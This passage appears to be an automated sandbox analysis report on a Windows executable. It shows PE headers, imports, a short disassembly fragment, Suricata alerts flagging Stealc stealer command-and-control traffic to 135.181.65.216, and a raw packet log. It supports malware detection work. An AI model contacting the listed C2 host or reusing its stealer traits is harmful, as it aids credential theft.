call 00007F645CB0A262h
mov ecx, dword ptr [00638D40h]
call 00007F645CB0B597h
test eax, eax
jne 00007F645CB0944Dh
call 00007F645CB0A1BEh
mov ecx, dword ptr [00638E1Ch]
call 00007F645CB0B583h
test eax, eax
jne 00007F645CB09439h
push eax
call dword ptr [0063901Ch]
mov edi, dword ptr [00638D40h]
push edi
call dword ptr [00638FACh]
lea esi, dword ptr [ebx+eax]
lea eax, dword ptr [esi+01h]
call 00007F645CAE9FF0h
mov ebx, eax
mov dword ptr [ebp-34h], ebx
test ebx, ebx
je 00007F645CB0944Dh
mov eax, dword ptr [ebp-10h]
test eax, eax
je 00007F645CB09446h
test edi, edi

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3664c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24a000	0x3c7c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2b000	0x104	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2951a	0x29600	f36b0619b7ad4a1ff0a2ffd5b9aa38a7	False	0.40295742069486407	data	6.37754026763144	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2b000	0xbbac	0xbc00	f7d4101166b1f48b89491599ae26d880	False	0.5959109042553191	OpenPGP Secret Key	6.668970580719564	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x37000	0x212bec	0xc00	f7d82f3649bd5266c892c8c1b457e92b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x24a000	0x5d00	0x5e00	3aaf8fa46dd3fc3e2cea297379ccf4c1	False	0.5251828457446809	data	5.249844058590275	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

msvcrt.dll

rand, strncpy, ??_V@YAXPAX@Z, strtok, memchr, strtok_s, ??_U@YAPAXI@Z, strcpy_s, vsprintf_s, memmove, strlen, malloc, free, memcmp, ??2@YAPAXI@Z, memset, memcpy, __CxxFrameHandler3, _except_handler3

KERNEL32.dll

InitializeCriticalSectionAndSpinCount, GetStringTypeW, MultiByteToWideChar, LCMapStringW, IsValidCodePage, GetOEMCP, GetACP, lstrlenA, HeapAlloc, GetProcessHeap, VirtualProtect, CreateProcessA, lstrcatA, VirtualQueryEx, OpenProcess, ReadProcessMemory, WriteFile, GetCPInfo, WideCharToMultiByte, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EncodePointer, DecodePointer, TerminateProcess, GetCurrentProcess, LeaveCriticalSection, EnterCriticalSection, RtlUnwind, GetProcAddress, GetModuleHandleW, ExitProcess, Sleep, GetStdHandle, GetModuleFileNameW, GetLastError, LoadLibraryW, TlsGetValue, TlsSetValue, InterlockedIncrement, SetLastError, GetCurrentThreadId, InterlockedDecrement, RaiseException

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-24T22:26:56.270216+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	135.181.65.216	80	TCP
2024-12-24T22:26:56.710636+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	135.181.65.216	80	TCP
2024-12-24T22:26:56.831550+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	135.181.65.216	80	192.168.2.4	49730	TCP
2024-12-24T22:26:57.136561+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	135.181.65.216	80	TCP
2024-12-24T22:26:57.266366+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	135.181.65.216	80	192.168.2.4	49730	TCP
2024-12-24T22:26:58.141809+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	135.181.65.216	80	TCP
2024-12-24T22:26:58.774762+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	135.181.65.216	80	TCP
2024-12-24T22:27:11.858256+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49749	135.181.65.216	80	TCP
2024-12-24T22:27:13.828760+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49749	135.181.65.216	80	TCP
2024-12-24T22:27:15.380743+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49749	135.181.65.216	80	TCP
2024-12-24T22:27:16.433723+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49749	135.181.65.216	80	TCP
2024-12-24T22:27:19.985981+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49749	135.181.65.216	80	TCP
2024-12-24T22:27:20.975067+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49749	135.181.65.216	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 22:26:49.448982954 CET	49675	443	192.168.2.4	173.222.162.32
Dec 24, 2024 22:26:54.411442041 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:54.531198978 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:54.531296015 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:54.531445980 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:54.650930882 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:55.832496881 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:55.832592010 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:55.836340904 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:55.955873966 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:56.270133018 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:56.270215988 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:56.282708883 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:56.402367115 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:56.710556030 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:56.710621119 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:56.710635900 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:56.710670948 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:56.712037086 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:56.831549883 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:57.136485100 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:57.136544943 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:57.136560917 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:57.136578083 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:57.136583090 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:57.136620998 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:57.136703968 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:57.136739016 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:57.136744976 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:57.136775970 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:57.136780024 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:57.136818886 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:57.144846916 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:57.144915104 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:57.146174908 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:57.266366005 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:57.571439981 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:57.571516037 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:57.592216969 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:57.592291117 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:57.711833000 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:57.711893082 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:57.711949110 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:57.711977005 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:57.712024927 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:57.712053061 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:57.712080956 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.141735077 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.141808987 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.353110075 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.472923040 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.774658918 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.774717093 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.774761915 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.774795055 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.778461933 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.778532982 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.778584003 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.778625965 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.786842108 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.786917925 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.786993027 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.787035942 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.795504093 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.795556068 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.795583963 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.795600891 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.803618908 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.803702116 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.803720951 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.803766012 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.812050104 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.812141895 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.812195063 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.812244892 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.820363998 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.820437908 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.820471048 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.820518017 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.828754902 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.828814983 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.828836918 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.828901052 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.837179899 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.837244034 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.837266922 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.837307930 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.845472097 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.845546007 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.882841110 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.882873058 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.882895947 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.882921934 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.966267109 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.966339111 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.966351986 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.966382980 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.970356941 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.970411062 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.971895933 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.971940994 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.972007036 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.972047091 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.980307102 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.980369091 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.980499983 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.980544090 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.988974094 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.989027023 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.989034891 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.989078999 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.997054100 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.997122049 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:58.997153997 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:58.997199059 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.005563974 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.005628109 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.005731106 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.005773067 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.013977051 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.014038086 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.014048100 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.014091969 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.022177935 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.022237062 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.022320032 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.022367001 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.030627966 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.030683994 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.030750036 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.030800104 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.038997889 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.039062023 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.039098024 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.039144039 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.046979904 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.047039032 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.047086000 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.047132015 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.054948092 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.055017948 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.055098057 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.055145979 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.058346033 CET	49675	443	192.168.2.4	173.222.162.32
Dec 24, 2024 22:26:59.063014030 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.063121080 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.063131094 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.063162088 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.071002960 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.071062088 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.071115017 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.071161032 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.078965902 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.079031944 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.079397917 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.079454899 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.086935997 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.086978912 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.087042093 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.087090969 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.094957113 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.095000982 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.095084906 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.095129013 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.102941036 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.102993011 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.103046894 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.103089094 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.110940933 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.110999107 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.111063957 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.111109018 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.118325949 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.118383884 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.118429899 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.118474007 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.161230087 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.161333084 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.161335945 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.161385059 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.163784027 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.163851023 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.163937092 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.163988113 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.168987036 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.169059038 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.169132948 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.169182062 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.174206018 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.174261093 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.174302101 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.174341917 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.179409027 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.179461956 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.179510117 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.179548979 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.184591055 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.184643984 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.184643984 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.184685946 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.189904928 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.189964056 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.189981937 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.190023899 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.195040941 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.195103884 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.195106030 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.195156097 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.200210094 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.200269938 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.200330973 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.200373888 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.205408096 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.205457926 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.205535889 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.205574989 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.210639954 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.210696936 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.210735083 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.210777044 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.215831995 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.215888977 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.216002941 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.216054916 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.220285892 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.220366955 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.220448017 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.220494986 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.224591017 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.224638939 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.224704981 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.224746943 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.228864908 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.228914976 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.228920937 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.228969097 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.233088017 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.233148098 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.233206034 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.233253002 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.235841990 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.235888004 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.235943079 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.235986948 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.238521099 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.238581896 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.238924980 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.239017010 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.241285086 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.241333961 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.241400003 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.241446018 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.243994951 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.244050026 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.244115114 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.244155884 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.246756077 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.246815920 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.246881962 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.246928930 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.249542952 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.249596119 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.249597073 CET	80	49730	135.181.65.216	192.168.2.4
Dec 24, 2024 22:26:59.249634981 CET	49730	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:26:59.252217054 CET	80	49730	135.181.65.216	192.168.2.4
